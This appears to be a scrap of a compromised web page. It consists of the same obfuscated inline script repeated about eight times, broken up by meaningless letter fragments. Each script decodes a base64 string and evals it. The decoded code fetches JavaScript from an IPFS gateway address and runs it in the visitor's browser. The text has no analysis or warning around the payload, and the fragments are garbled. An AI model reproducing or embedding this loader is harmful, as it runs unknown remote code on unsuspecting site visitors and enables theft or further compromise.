<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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